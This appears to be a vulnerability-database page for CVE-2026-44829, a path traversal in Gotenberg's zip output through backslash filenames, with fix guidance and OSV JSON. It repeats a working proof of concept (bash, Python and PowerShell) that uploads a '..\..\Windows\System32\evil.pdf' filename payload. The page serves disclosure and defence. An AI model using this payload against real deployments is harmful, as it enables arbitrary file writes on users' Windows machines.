CVE-2026-44829: Github.com/gotenberg/gotenberg/v8 Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-hwc4-gmrw-5222
CVSS 8.8
CWE-22
Published
Advisory Summary

CVE-2026-44829 is a HIGH (CVSS 8.8) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg has path traversal in zip entry name via windows-style separators in upload filename. Remediation is available by upgrading affected packages to version 8.33.0.

CVE-2026-44829 at a Glance

CVE Identifier CVE-2026-44829
GHSA Identifier GHSA-hwc4-gmrw-5222
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/gotenberg/gotenberg/v8
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-44829

To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gotenberg/gotenberg/v8 fixed: 8.33.0
Upgrade github.com/gotenberg/gotenberg/v8 to 8.33.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gotenberg/gotenberg/v8

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44829, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:

inspect dependencies for github.com/gotenberg/gotenberg/v8

Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.33.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `filepath.Base` on the Linux container does not strip backslashes (`\`), because `\` is only a path separator on Windows. A multipart filename like `..\..\..\..\Windows\System32\evil.pdf` survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\` as a path separator and write the file outside the extraction directory. ### Details `pkg/modules/api/context.go:434, 472`: ```go filename := norm.NFC.String(filepath.Base(fh.Filename)) ``` On Linux, `filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf")` returns the same string verbatim — there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds: ```go originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName)) newOriginal := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i) ctx.RegisterDiskPath(newPath, newOriginal) ``` Finally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/archives@v0.1.5/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, "")` — the map value verbatim. ### Suggested fix ```diff - filename := norm.NFC.String(filepath.Base(fh.Filename)) + filename := sanitizeFilename(fh.Filename) + + func sanitizeFilename(name string) string { + if i := strings.LastIndexAny(name, "/\\"); i >= 0 { + name = name[i+1:] + } + name = norm.NFC.String(name) + // Optional belt-and-braces: + name = strings.ReplaceAll(name, "..", "_") + name = strings.Map(func(r rune) rune { + if r < 0x20 || r == 0x7f { return -1 } + return r + }, name) + return name + } ``` The same sanitiser closes Advisory 8. ### PoC **Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python's `requests` to deliver the malicious filename byte-perfect. ```bash mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc docker rm -f gotenberg-audit 2>/dev/null docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0 i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done # Stub PDF. printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf # Step 1: produce a 2-page PDF so /split returns multiple entries. curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \ -F 'files=@stub.pdf;filename=a.pdf' \ -F 'files=@stub.pdf;filename=b.pdf' # Step 2: split, declaring the multipart filename as a Windows path-traversal payload. python3 - <<'PY' import requests, zipfile, binascii fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf' files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')} data = {'splitMode': 'intervals', 'splitSpan': '1'} r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data) print(f'HTTP={r.status_code} ctype={r.headers.get("content-type")} bytes={len(r.content)}') open('split.zip', 'wb').write(r.content) z = zipfile.ZipFile('split.zip') print('--- zip entries (orig_filename) ---') for info in z.infolist(): print(f' {info.orig_filename!r}') # Show raw central-directory bytes to prove backslashes are on the wire: data = open('split.zip', 'rb').read() idx = data.find(b'PK\x01\x02') print('--- raw central-dir hex around filename ---') print(f' {binascii.hexlify(data[idx:idx+80]).decode()}') PY docker stop gotenberg-audit ``` **Observed output:** ``` HTTP=200 ctype=application/zip bytes=24750 --- zip entries (orig_filename) --- '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf' '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf' --- raw central-dir hex around filename --- 504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f ``` The trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\..\..\..\Windows\System32\evil_`. (Python's `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.) To see the Windows-side traversal effect on a Windows host, run: ```powershell Expand-Archive -Path .\split.zip -DestinationPath .\out -Force Get-ChildItem .\out -Recurse # → out\Windows\System32\evil_0.pdf # → out\Windows\System32\evil_1.pdf ``` PowerShell collapses the `..` parents but creates the `Windows\System32\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely. ### Impact - Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`). - Reachable via every multi-output Gotenberg route — `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`. - Also reachable via `downloadFrom` upstream `Content-Disposition: filename="..\\..\\evil.exe"` — the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.

CVE-2026-44829 Affected Github.com/gotenberg/gotenberg/v8 Versions

1 component(s)
Fixed Versions:
8.33.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gotenberg/gotenberg/v8
Go
< 8.33.0
8.33.0

References

Frequently Asked Questions

What is CVE-2026-44829?
CVE-2026-44829 is a security vulnerability in Github.com/gotenberg/gotenberg/v8 involving Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
Affected versions include releases prior to 8.33.0 across affected packages: github.com/gotenberg/gotenberg/v8.
What version fixes CVE-2026-44829?
Upgrading to 8.33.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gotenberg/gotenberg/v8 affected?
Yes, github.com/gotenberg/gotenberg/v8 is affected in releases prior to 8.33.0. Upgrade your dependency to 8.33.0 or later.
What is the CVSS score of CVE-2026-44829?
CVE-2026-44829 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L.
What CWE is associated with CVE-2026-44829?
CVE-2026-44829 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-44829?
Run the dependency tree command: 'inspect dependencies for github.com/gotenberg/gotenberg/v8'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hwc4-gmrw-5222",
  "modified" : "2026-05-29T16:38:24Z",
  "published" : "2026-05-29T16:38:24Z",
  "aliases" : [ "CVE-2026-44829" ],
  "summary" : "Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename",
  "details" : "### Summary\n`filepath.Base` on the Linux container does not strip backslashes (`\\`), because `\\` is only a path separator on Windows. A multipart filename like `..\\..\\..\\..\\Windows\\System32\\evil.pdf` survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\\` as a path separator and write the file outside the extraction directory.\n\n### Details\n`pkg/modules/api/context.go:434, 472`:\n```go\nfilename := norm.NFC.String(filepath.Base(fh.Filename))\n```\nOn Linux, `filepath.Base(\"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\")` returns the same string verbatim — there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds:\n```go\noriginalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))\nnewOriginal      := fmt.Sprintf(\"%s_%d.pdf\", originalNameNoExt, i)\nctx.RegisterDiskPath(newPath, newOriginal)\n```\nFinally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/archives@v0.1.5/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, \"\")` — the map value verbatim.\n\n### Suggested fix\n```diff\n- filename := norm.NFC.String(filepath.Base(fh.Filename))\n+ filename := sanitizeFilename(fh.Filename)\n+\n+ func sanitizeFilename(name string) string {\n+     if i := strings.LastIndexAny(name, \"/\\\\\"); i >= 0 {\n+         name = name[i+1:]\n+     }\n+     name = norm.NFC.String(name)\n+     // Optional belt-and-braces:\n+     name = strings.ReplaceAll(name, \"..\", \"_\")\n+     name = strings.Map(func(r rune) rune {\n+         if r < 0x20 || r == 0x7f { return -1 }\n+         return r\n+     }, name)\n+     return name\n+ }\n```\nThe same sanitiser closes Advisory 8.\n\n### PoC\n**Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python's `requests` to deliver the malicious filename byte-perfect.\n\n```bash\nmkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc\n\ndocker rm -f gotenberg-audit 2>/dev/null\ndocker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0\ni=0; until [ \"$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)\" = \"200\" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done\n\n# Stub PDF.\nprintf '%%PDF-1.4\\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\\nxref\\n0 4\\n0000000000 65535 f\\n0000000010 00000 n\\n0000000053 00000 n\\n0000000100 00000 n\\ntrailer<</Size 4/Root 1 0 R>>\\nstartxref\\n158\\n%%%%EOF\\n' > stub.pdf\n\n# Step 1: produce a 2-page PDF so /split returns multiple entries.\ncurl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \\\n    -F 'files=@stub.pdf;filename=a.pdf' \\\n    -F 'files=@stub.pdf;filename=b.pdf'\n\n# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.\npython3 - <<'PY'\nimport requests, zipfile, binascii\nfname = '..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf'\nfiles = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}\ndata  = {'splitMode': 'intervals', 'splitSpan': '1'}\nr = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)\nprint(f'HTTP={r.status_code}  ctype={r.headers.get(\"content-type\")}  bytes={len(r.content)}')\nopen('split.zip', 'wb').write(r.content)\n\nz = zipfile.ZipFile('split.zip')\nprint('--- zip entries (orig_filename) ---')\nfor info in z.infolist():\n    print(f'   {info.orig_filename!r}')\n\n# Show raw central-directory bytes to prove backslashes are on the wire:\ndata = open('split.zip', 'rb').read()\nidx = data.find(b'PK\\x01\\x02')\nprint('--- raw central-dir hex around filename ---')\nprint(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')\nPY\n\ndocker stop gotenberg-audit\n```\n\n**Observed output:**\n```\nHTTP=200  ctype=application/zip  bytes=24750\n--- zip entries (orig_filename) ---\n   '..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_0.pdf'\n   '..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_1.pdf'\n--- raw central-dir hex around filename ---\n   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f\n```\n\nThe trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\\..\\..\\..\\Windows\\System32\\evil_`. (Python's `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.)\n\nTo see the Windows-side traversal effect on a Windows host, run:\n```powershell\nExpand-Archive -Path .\\split.zip -DestinationPath .\\out -Force\nGet-ChildItem .\\out -Recurse\n# → out\\Windows\\System32\\evil_0.pdf\n# → out\\Windows\\System32\\evil_1.pdf\n```\nPowerShell collapses the `..` parents but creates the `Windows\\System32\\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely.\n\n### Impact\n- Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`).\n- Reachable via every multi-output Gotenberg route — `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`.\n- Also reachable via `downloadFrom` upstream `Content-Disposition: filename=\"..\\\\..\\\\evil.exe\"` — the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.33.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.32.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T16:38:24Z",
    "nvd_published_at" : null
  }
}